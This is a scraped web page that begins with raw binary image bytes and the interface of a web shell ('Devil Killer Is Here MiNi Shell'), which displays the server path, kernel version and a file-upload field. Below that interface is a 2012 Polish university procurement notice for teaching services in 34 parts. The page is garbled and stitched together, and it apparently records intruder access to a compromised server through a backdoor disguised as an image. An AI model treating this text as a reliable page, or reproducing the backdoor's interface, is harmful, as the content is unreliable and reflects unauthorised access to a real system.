JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20121002/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20121002/375610-N-2012.html

<p class="kh_header"><b>Lublin: Prowadzenie zajęć dydaktycznych w ramach projektu --UMCS dla rynku pracy i gospodarki opartej na wiedzy--</b><br>
<b>Numer ogłoszenia: 375610 - 2012; data zamieszczenia: 02.10.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Uniwersytet Marii Curie-Skłodowskiej , Pl. M. Curie-Skłodowskiej 5, 20-031 Lublin, woj. lubelskie, tel. 081 5375965, faks 081 5375965.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.umcs.lublin.pl</li><li><b>Adres strony internetowej, pod którym dostępne są informacje dotyczące dynamicznego systemu zakupów:</b> Nie dotyczy</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Prowadzenie zajęć dydaktycznych w ramach projektu --UMCS dla rynku pracy i gospodarki opartej na wiedzy--.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest prowadzenia zajęć dydaktycznych na 16 innowacyjnych specjalnościach/specjalizacjach na Wydziale Humanistycznym w ramach projektu --UMCS dla rynku pracy i gospodarki opartej na wiedzy-- oraz przygotowanie kompletu materiałów dydaktycznych do prowadzonych zajęć, współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Społecznego. 
Zamówienie podzielone jest na 34 części. Szczegółowy opis przedmiotu zamówienia znajduje się w załączniku nr 1 do SIWZ..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający przewiduje udzielenie zamówień uzupełniających. Wartość zamówienia uzupełniającego nie przekroczy 50% wartości zamówienia podstawowego i polegać będzie na powtórzeniu tego samego rodzaju zamówienia</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 80.00.00.00-4.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 34.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> .</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Działalność prowadzona na potrzeby wykonania przedmiotu zamówienia nie wymaga posiadania uprawnień.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek spełnią Wykonawcy, którzy wykażą, że osoby wykonujące zamówienie dysponują odpowiednim potencjałem technicznym oraz osobami zdolnymi do wykonania zamówienia w poniższym zakresie:
Część 1 - Wykształcenie min. doktor nauk humanistycznych lub ścisłych; dodatkowo wykształcenie informatyczne, matematyczno-informatyczne i/lub ukończone kursy i szkolenia z zakresu nowoczesnych technologii informatycznych; min. 100 godzin doświadczenia w prowadzeniu przedmiotów informatycznych/ prowadzeniu kursów i szkoleń dla dorosłych z zakresu: tworzenie stron i aplikacji internetowych, pozycjonowanie stron, struktura strony internetowej, podstawowe języki projektowania stron); znajomość języka programowania Python, frameworku do tworzenia aplikacji www Django.
Część 2 - Wykształcenie minimalne: wyższe magisterskie; minimum trzyletnie doświadczenie w pracy dydaktycznej na uczelni wyższej w zakresie przedmiotów z zakresu edytorstwa komputerowego, internetowego i twórczego projektowania w mediach (m.in. elektronicznych); minimum 100 godzinne doświadczenie w prowadzeniu laboratoryjnych zajęć z zakresu szkolenia komputerowego; doświadczenie zawodowe w zakresie projektowania graficznego (wykonanie min. jednego, autorskiego projektu graficznego np. logotyp); znajomość i doświadczenie dydaktyczne w zakresie programów: Photoshop, InDesign, Illustrator, Gimp, Excel, Access, Word, PowerPoint.
Część 3 - Wykształcenie min. doktor nauk humanistycznych lub ścisłych; min. 100 godzin doświadczenia w prowadzeniu kursów i szkoleń dla dorosłych w zakresie różnorodnego zastosowania TI (w szczególności grafika komputerowa, infografika, webdesign, tworzenie aplikacji webowych, DTP, etc.); min. 3 letnie doświadczenie zawodowe zdobyte podczas współpracy z firmami i przedsiębiorcami (w szczególności  doradztwo z zakresu wykorzystania technologii informatycznych w przedsiębiorstwie, budowanie e-wizerunku firmy, tworzenie wizualizacji firmy oraz projektowanie stron internetowych, promocja i e-promocja produktów i usług); min. 3 letnia współpraca z agencjami reklamowymi, drukarniami, wydawnictwami oraz biurami projektowymi w zakresie projektowania i wykonawstwa materiałów drukowanych i na wyświetlacze z wykorzystaniem nowoczesnych technik graficznych i technologii; znajomość języka programowania Python, frameworku do tworzenia aplikacji www Django.
Część 4 - Wykształcenie min. doktor habilitowany nauk humanistycznych; minimum 5-letnie, doświadczenie dydaktyczne związane z prowadzeniem wykładów konwersatoriów oraz warsztatów z zakresu teorii komunikowania masowego, komunikacji interpersonalnej i masowej, public relations, reklamy, komunikacji medialnej i politycznej oraz z zajęciami i ze szkoleniami w zakresie e-lerningu oraz redakcji i edycji  tekstu; przygotowanie minimum po jednym programie nauczania, sylabusie, ekspertyzie, materiałów dydaktycznych z zakresu różnych form komunikacji społecznej; opublikowanie przynajmniej 5 prac z zakresu komunikowania społecznego.
Część 5 - Wykształcenie min. doktor habilitowany nauk humanistycznych; minimum 5-letnie, doświadczenie dydaktyczne związane z prowadzeniem wykładów i konwersatoriów z pragmatyki językowej, wiedzy o komunikacji językowej, języka mediów, public relations i reklamy; przygotowanie minimum jednego programu nauczania i/lub sylabusa z zakresu różnych form komunikacji językowej i pragmatyki językowej; opublikowanie przynajmniej 5 prac z zakresu pragmatyki językowej i/ lub języka komunikacji społecznej.
Część 6 - Wykształcenie minimalne: wyższe magisterskie; przeprowadzenie min. 100 godzin szkoleń z zakresu autoprezentacji w ciągu ostatnich 3 lat; przygotowanie min. jednego programu nauczania lub/i ekspertyzy lub/i opracowania lub/i sylabusa z zakresu wystąpień publicznych; doświadczenie w zakresie retoryki potwierdzone np. odbytym kursem, certyfikatem lub podobnym.
Część 7 - Wykształcenie minimalne: wyższe magisterskie; przeprowadzenie min. 100 godzin szkoleń z zakresu autoprezentacji w ciągu ostatnich 3 lat; przygotowanie min. jednego programu nauczania lub/i ekspertyzy lub/i opracowania lub/i sylabusa z zakresu wystąpień publicznych; doświadczenie w zakresie retoryki potwierdzone np. odbytym kursem, certyfikatem lub podobnym.
Część 8 - Wykształcenie min. doktor habilitowany nauk humanistycznych; minimum 5-letnie, doświadczenie dydaktyczne związane z prowadzeniem wykładów i konwersatoriów z języka mediów, public relations i reklamy; autorstwo minimum 2 publikacji z zakresu marketingu reklamy; posiadanie wiedzy merytorycznej niezbędnej do przeprowadzenia zajęć z zakresu marketingu reklamy.
Część 9 - Wykształcenie min. doktor nauk humanistycznych w zakresie językoznawstwa (z uwzględnieniem języka serbskiego); Biegła znajomość języka serbskiego poświadczona ukończeniem studiów magisterskich w zakresie języka serbskiego; Minimum 5 letni staż pracy dydaktycznej  związanej z nauczaniem języka serbskiego w systemie szkolnictwa wyższego; minimum 3 publikacje z zakresu językoznawstwa serbskiego i/lub słowiańskiego językoznawstwa porównawczego z uwzględnieniem języka serbskiego.
Część 10 - Minimalny stopień naukowy - doktor z zakresu nauk humanistycznych; minimum 5 publikacji o tematyce bałkańskiej (dot. bałkańskiej polityki, kultury i oświaty); przygotowanie minimum po jednym programie nauczania lub/i ekspertyzy lub/i opracowania lub/i sylabusa z zakresu historii i polityki Bałkanów; min. 5 letnie doświadczenie dydaktyczne na uczelni wyższej.
Część 11 - wyższe z translatoryki lub filologii angielskiej, w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie w pracy na rynku usług translatorskich w roli tłumacza ustnego polski<>angielski.
Część 12 - wyższe z translatoryki lub filologii niemieckiej, w przypadku ukończenia studiów na kierunku filologia niemiecka konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia kursu (min. 120h) z tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie pracy na rynku usług translatorskich w roli tłumacza ustnego polski<>niemiecki.
Część 13 - wyższe z translatoryki lub filologii angielskiej, poświadczone ukończenie kursu lub studiów tłumaczeniowych (w tym doktoranckich wraz z uzyskaniem tytułu doktora w specjalizacji translatorskiej); minimum pięcioletnie doświadczenie pracy na rynku usług translatorskich w roli tłumacza ustnego polski<>angielski; wskazane doświadczenie w zakresie akademickiej lub pozaakademickiej dydaktyki translacji.
Część 14 - wyższe z translatoryki lub filologii niemieckiej, poświadczone ukończenie kursu lub studiów tłumaczeniowych (w tym doktoranckich wraz z uzyskaniem tytułu doktora w specjalizacji translatorskiej); minimum pięcioletnie doświadczenie pracy na rynku usług translatorskich w roli tłumacza ustnego polski<>niemiecki; wskazane doświadczenie w zakresie akademickiej lub pozaakademickiej dydaktyki translacji.
Część 15 - wyższe z translatoryki (niemiecki- polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki- polski lub filologii germańskiej; minimum trzyletnie doświadczenie dydaktyczne w roli nauczyciela akademickiego, koniecznie w zakresie praktycznej nauki języka niemieckiego; preferowane  dodatkowe doświadczenie z zakresu dydaktyki translacji.
Część 16 - wyższe z translatoryki lub filologii angielskiej, poświadczone ukończenie kursu lub studiów tłumaczeniowych (w tym doktoranckich wraz z uzyskaniem tytułu doktora w specjalizacji translatorskiej); minimum dwuletnie doświadczenie w zakresie dydaktyki translacji lub wiedzy specjalistycznej na potrzeby tłumaczenia. Minimalny okres doświadczenia może obejmować dydaktykę akademicką i poza akademicką; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>ANG.) w zakresie przynajmniej dwóch z określonych poniżej dziedzin specjalistycznych: 
1. prawo (dowolny dział, także teoria prawa), 2. biznes i funkcjonowanie przedsiębiorstw i gospodarka (makroekonomia), 3. medycyna (dowolny dział) lub profilaktyka medyczna lub technika medyczna, 4. technika w tym głównie technologie teleinformatyczne, 5. energetyka i ekologia; umiejętność wykorzystywania elektronicznych środków wyszukiwania, gromadzenia i wykorzystywania wiedzy specjalistycznej.
Część 17 - wyższe z translatoryki lub filologii niemieckiej, poświadczone ukończenie kursu lub studiów tłumaczeniowych (w tym doktoranckich wraz z uzyskaniem tytułu doktora w specjalizacji translatorskiej); minimum dwuletnie doświadczenie w zakresie dydaktyki translacji lub wiedzy specjalistycznej na potrzeby tłumaczenia. Minimalny okres doświadczenia może obejmować dydaktykę akademicką i poza akademicką; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>NIEM.) w zakresie przynajmniej dwóch z określonych poniżej dziedzin specjalistycznych: 
1. prawo (dowolny dział, także teoria prawa), 2. biznes i funkcjonowanie przedsiębiorstw i gospodarka (makroekonomia), 3. medycyna (dowolny dział) lub profilaktyka medyczna lub technika medyczna, 4. technika w tym głównie technologie teleinformatyczne, 5. energetyka i ekologia; umiejętność wykorzystywania elektronicznych środków wyszukiwania, gromadzenia i wykorzystywania wiedzy specjalistycznej.
Część 18 - wyższe z filologii polskiej, poświadczone ukończenie kursu lub studiów z retoryki praktycznej języka polskiego (w tym doktoranckich) lub z tytułem doktora w zakresie filologii polskiej; minimum trzyletnie doświadczenie w zakresie nauczania retoryki praktycznej języka polskiego w ramach kształcenia uniwersyteckiego; minimum roczne doświadczenie zawodowe jako konsultant ds. komunikacji językowej w biznesie (retoryka praktyczna, kultura języka i pokrewne); wskazane, ale nie konieczne, doświadczenie we współpracy z tłumaczami ustnymi lub udział w programach kształcenia tłumaczy.
Część 19 - wyższe z filologii polskiej, poświadczone ukończenie kursu lub studiów z retoryki praktycznej języka polskiego (w tym doktoranckich) lub z tytułem doktora w zakresie filologii polskiej; minimum trzyletnie doświadczenie w zakresie nauczania retoryki praktycznej języka polskiego w ramach kształcenia uniwersyteckiego; minimum roczne doświadczenie zawodowe jako konsultant ds. komunikacji językowej w biznesie (retoryka praktyczna, kultura języka i pokrewne); wskazane, ale nie konieczne, doświadczenie we współpracy z tłumaczami ustnymi lub udział w programach kształcenia tłumaczy.
Część 20 - wyższe z translatoryki lub inne neofilologiczne; minimum trzyletnie doświadczenie w zakresie nauczania retoryki praktycznej języka polskiego w ramach  kształcenia uniwersyteckiego; minimum trzyletnie doświadczenie praktyki gospodarczej jako tłumacz (nie w ramach umowy o pracę, tzw. in-house); udział w minimum jednym projekcie biznesowym lub szkoleniowym dla studentów kierunków lub specjalizacji translatorskich (ustnych lub pisemnych, koniecznie w ramach programów akademickich kształcenia tłumaczy, nie praktycznej nauki języka obcego) lub minimum rok pracy w charakterze wykładowcy uczelni wyższej na kierunku lub specjalizacji translatorskiej (ustnej lub pisemnej, koniecznie w ramach programu akademickiego kształcenia tłumaczy, nie praktycznej nauki języka obcego).
Część 21 - Wykształcenie minimalne: wyższe magisterskie; Posiadanie wiedzy z zakresu możliwości praktycznych zastosowań wybranych serwisów WEB 2.0; Minimum 100-godzinne doświadczenie w prowadzeniu zajęć/ kursów dla osób dorosłych z zakresu WEB 2.0; przygotowanie metodyki nauczania uwzględniającej specyfikę rzeczywistości wirtualnej (trójwymiarowość, multimedialność, specyficzna nawigacja, mechanizmy WEB 2.0); Minimum 3 publikacje lub artykuły nt. WEB 2.0 i/lub Secend Life, i/lub e-learningu; doświadczenie w tworzeniu/ współtworzeniu minimum jednego portalu społecznościowego.
Część 22 - Wykształcenie minimalne: wyższe magisterskie; Minimum 3 lata doświadczenia/ praktyki w  zakresie: 
- webdesign - projektowanie i programowanie stron (wykonanie co najmniej 2 stron internetowych)
- projektowanie graficzne/ tworzenie multimediów
- przygotowywania projektów graficznych do druku np. plakatów, ulotek, gazet, wizytówek itp.
Minimum 200 godzin prowadzenia zajęć w zakresie grafiki komputerowej i sieciowej dla osób dorosłych; Biegła znajomość wykorzystania programu Adobe Photoshop.
Część 23 - Wykształcenie minimalne: wyższe magisterskie; minimum 4-letnie doświadczenie w tym w zakresie ochrony własności intelektualnej oraz prawa autorskiego i prasowego; przygotowanie minimum 5 programów nauczania lub/i ekspertyz lub/i opracowań lub/i sylabusów; minimum 3 publikacje z zakresu prawa autorskiego.
Część 24 - Wykształcenie min. doktor sztuki filmowej	1. min. 10-letni staż pracy jako operator; autor zdjęć do min. 10 filmów; minimum 100-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych z zakresu wideozapisu.
Część 25 - Wykształcenie min. doktor sztuki filmowej; minimum 100-godzinne doświadczenie w prowadzeniu zajęć dydaktycznych lub szkoleń dla osób dorosłych z zakresu warsztatów audiowizualnych; reżyser min. 10 filmów dokumentalnych lub programów telewizyjnych lub spektakli teatralnych.
Część 26 - Wykształcenie minimalne: wyższe magisterskie; minimum 5 letnie doświadczenie zawodowe w pracy w instytucjach kultury; posiadanie wiedzy z zakresu typologii placówek kulturalnych oraz pełnionych przez nie funkcji; posiadanie wiedzy z zakresu kierunków polityki kulturalnej państwa i jednostek samorządowych.
Część 27 - Wykształcenie minimalne: wyższe magisterskie; minimum 5 letnie doświadczenie zawodowe w pracy w instytucjach kultury; posiadanie wiedzy z zakresu typologii placówek kulturalnych oraz pełnionych przez nie funkcji; posiadanie wiedzy z zakresu kierunków polityki kulturalnej państwa i jednostek samorządowych.
Część 28 - Minimalny stopień naukowy - doktor z zakresu nauk humanistycznych; min. 5 letnie doświadczenie dydaktyczne na uczelni wyższej; minimum 5 publikacji o tematyce arabistycznej; minimum 2 lata pracy jako tłumacz pisemny lub ustny.
Część 29 - Wykształcenie minimalne: wyższe magisterskie; minimum 5 lat doświadczenia, praktyki w zakresie pisania komercyjnych i niekomercyjnych projektów społecznych na rzecz mniejszości narodowych; udział w minimum 5 projektach społeczno-kulturowych (w tym minimum raz jako koordynator i/lub kierownik i/lub dyrektor projektu).
Część 30 -wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej, w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>ANG.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. prawo (dowolny dział, także teoria prawa), 
2. biznes i funkcjonowanie przedsiębiorstw i gospodarka (makro i mikroekonomia), 
3. Prawodawstwo unijne (UE).
Część 31 - wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej, w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>ANG.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. medycyna (dowolny dział) lub profilaktyka medyczna lub technika medyczna.
Część 32 - wyższe z translatoryki (angielski-polski), lingwistyki stosowanej w specjalizacji translatorskiej angielski-polski lub filologii angielskiej, w przypadku ukończenia studiów na kierunku filologia angielskiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>ANG.) w zakresie przynajmniej dwóch z określonych poniżej dziedzin specjalistycznych: 
1. energetyka 
2. ekologia (zrównoważone wykorzystanie zasobów, zrównoważony rozwój cywilizacji, zrównoważone rolnictwo, itp.).
Część 33 - wyższe z translatoryki (niemiecki-polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki-polski lub filologii germańskiej, w przypadku ukończenia studiów na kierunku filologia niemieckiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>NIEM.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. prawo (dowolny dział, także teoria prawa), 
2. biznes i funkcjonowanie przedsiębiorstw i gospodarka (makro i mikroekonomia), 
3. Prawodawstwo unijne (UE).
Część 34 -wyższe z translatoryki (niemiecki-polski), lingwistyki stosowanej w specjalizacji translatorskiej niemiecki-polski lub filologii germańskiej, w przypadku ukończenia studiów na kierunku filologia niemieckiej konieczne potwierdzenie ukończenia specjalizacji translatorskiej lub ukończenia dodatkowego kursu (min. 120h) z zakresu tłumaczenia ustnego; minimum roczne doświadczenie dydaktyczne w roli nauczyciela akademickiego, najlepiej (ale nie koniecznie) w zakresie dydaktyki translacji; minimum trzyletnie doświadczenie w wykonywaniu zawodu tłumacza (wolny zawód lub etat, tłumaczenia pisemne lub ustne PL<>NIEM.) w zakresie określonych poniżej dziedzin specjalistycznych: 
1. Debaty polityczne i społeczne (w tym debaty na poziomie UE i/lub organizacji międzynarodowych)
2. Bankowość (w tym polityka Europejskiego Banku Centralnego i Narodowych Banków Centralnych).</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczegółowego sposobu oceny spełniania tego warunku.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

